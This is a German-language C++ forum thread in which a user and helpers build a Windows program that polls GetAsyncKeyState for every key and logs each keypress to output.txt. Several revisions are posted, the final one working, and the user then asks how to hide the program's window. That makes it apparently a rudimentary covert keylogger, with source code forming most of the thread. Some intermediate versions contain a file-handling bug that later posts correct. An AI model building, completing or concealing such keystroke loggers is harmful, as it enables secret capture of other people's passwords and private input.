status in textdatei



  • #include <windows.h>
    #include <iostream.h>
    
    int main()
    {
      SHORT KeyState;
      SHORT ArrKeyState[256];
      long CheckSum;
      long OldCheckSum;
    
      OldCheckSum = 987654;          // dummy
    
      while (1)
      {
        CheckSum = 0;
        for (int i = 0; i < 256; i++)
        {
          KeyState = GetAsyncKeyState(i);
          CheckSum += KeyState;
          ArrKeyState[i] = KeyState;
        }
    
        if (OldCheckSum != CheckSum)
        {
          for (int i = 0; i < 256; i++)
          {
            // -32767 = KeyDown
            if (ArrKeyState[i] == -32767)
    
            {
              cout << "Key " << i << " pressed. (" << (char) i << ")" << endl;
            }
          }
        }
        OldCheckSum = CheckSum;
      }
    }
    

    quelle:c-worker.ch

    ich möchte dass die ausgabe auf dem bildschirm in eine textdatei geschrieben wird. wie kann ich das bewerkstelligen?



  • #include <windows.h>
    #include <iostream.h>
    #include <fstream>
    
    int main()
    {
      SHORT KeyState;
      SHORT ArrKeyState[256];
      long CheckSum;
      long OldCheckSum;
    
      OldCheckSum = 987654;          // dummy
    
      ofstream file ("output.txt"); //Öffne output.txt zum schreiben
      while (1)
      {
        CheckSum = 0;
        for (int i = 0; i < 256; i++)
        {
          KeyState = GetAsyncKeyState(i);
          CheckSum += KeyState;
          ArrKeyState[i] = KeyState;
        }
    
        if (OldCheckSum != CheckSum)
        {
          for (int i = 0; i < 256; i++)
          {
            // -32767 = KeyDown
            if (ArrKeyState[i] == -32767)
    
            {
              cout << "Key " << i << " pressed. (" << (char) i << ")" << endl;
              file << "Key " << i << " pressed. (" << (char) i << ")" << endl; //schreibe in datei...
            }
          }
        }
        OldCheckSum = CheckSum;
      }
    file.close(); //schließe datei
    }
    


  • ofstream ' undeclared (first use this function)file' undeclared (first use this function)

    wie definiert man nochmal ofstream?



  • std::ofstream 💡

    Nimm bei der Gelegenheit auch gleich den neuen iostream-Header.



  • #include <windows.h> 
    #include <iostream> 
    #include <fstream> 
    
    int main() 
    { std::ofstream file;
      SHORT KeyState; 
      SHORT ArrKeyState[256]; 
      long CheckSum; 
      long OldCheckSum; 
    
      OldCheckSum = 987654;          // dummy 
    
      file << ("output.txt"); //Öffne output.txt zum schreiben 
      while (1) 
      { 
        CheckSum = 0; 
        for (int i = 0; i < 256; i++) 
        { 
          KeyState = GetAsyncKeyState(i); 
          CheckSum += KeyState; 
          ArrKeyState[i] = KeyState; 
        } 
    
        if (OldCheckSum != CheckSum) 
        { 
          for (int i = 0; i < 256; i++) 
          { 
            // -32767 = KeyDown 
            if (ArrKeyState[i] == -32767) 
    
            { 
              ::std::cout << "Key " << i << " pressed. (" << (char) i << ")" << "\n";
              file << "Key " << i << " pressed. (" << (char) i << ")" << "\n"; //schreibe in datei... 
            } 
          } 
        } 
        OldCheckSum = CheckSum; 
      } 
    file.close(); //schließe datei 
    }
    

    habs jetzt so aber der speichrt mir das net in einer txt



  • Du öffnest die Datei entweder gleich mit dem Konstruktor:

    std::ofstream file("output.txt");
    

    oder mit der open-Methode:

    std::ofstream file;
    file.open("output.txt");
    


  • Kannst auch das std weglassen wenn du namespace benutzt:

    #include <windows.h>
    #include <iostream>
    #include <fstream>
    
    using namespace std;
    
    int main()
    { std::ofstream file;
      SHORT KeyState;
      SHORT ArrKeyState[256];
      long CheckSum;
      long OldCheckSum;
    
      OldCheckSum = 987654;          // dummy
    
      file << ("output.txt"); //Öffne output.txt zum schreiben
      while (1)
      {
        CheckSum = 0;
        for (int i = 0; i < 256; i++)
        {
          KeyState = GetAsyncKeyState(i);
          CheckSum += KeyState;
          ArrKeyState[i] = KeyState;
        }
    
        if (OldCheckSum != CheckSum)
        {
          for (int i = 0; i < 256; i++)
          {
            // -32767 = KeyDown
            if (ArrKeyState[i] == -32767)
    
            {
              ::std::cout << "Key " << i << " pressed. (" << (char) i << ")" << "\n";
              file << "Key " << i << " pressed. (" << (char) i << ")" << "\n"; //schreibe in datei...
            }
          }
        }
        OldCheckSum = CheckSum;
      }
    file.close(); //schließe datei
    }
    


  • danke jetzt bräuchte ich eigentlich nur noch die funktion um ein fenster zu hiden...:>

    übrigens ich weiß das mit std war nur gerade zu faul



  • Die Datei brauch auch nicht mehr geschlossen werden, weil dies der Destruktor erledigt. (Außerdem wird die while Schleife nicht von einem break oder so verlassen...)

    #include <windows.h>
    #include <iostream>
    #include <fstream>
    
    int main()
    {
      SHORT KeyState, ArrKeyState[256];
      long CheckSum, OldCheckSum = 987654;          // dummy
      std::ofstream file("output.txt"); //Öffne output.txt zum schreiben
      while(1)
      {
        CheckSum = 0;
        for (int i = 0; i < 256; i++)
        {
          KeyState = GetAsyncKeyState(i);
          CheckSum += KeyState;
          ArrKeyState[i] = KeyState;
        }
    
        if (OldCheckSum != CheckSum)
        {
          for (int i = 0; i < 256; i++)
          {
            // -32767 = KeyDown
            if (ArrKeyState[i] == -32767)
            {
              std::cout << "Key " << i << " pressed. (" << static_cast<char>(i) << ")" << "\n";
              file << "Key " << i << " pressed. (" << static_cast<char>(i) << ")" << std::endl; //schreibe in datei...
              // std::endl da dies auch noch std::flush aufruft
            }
          }
        }
        OldCheckSum = CheckSum;
      }
    }
    

    mfg.


Anmelden zum Antworten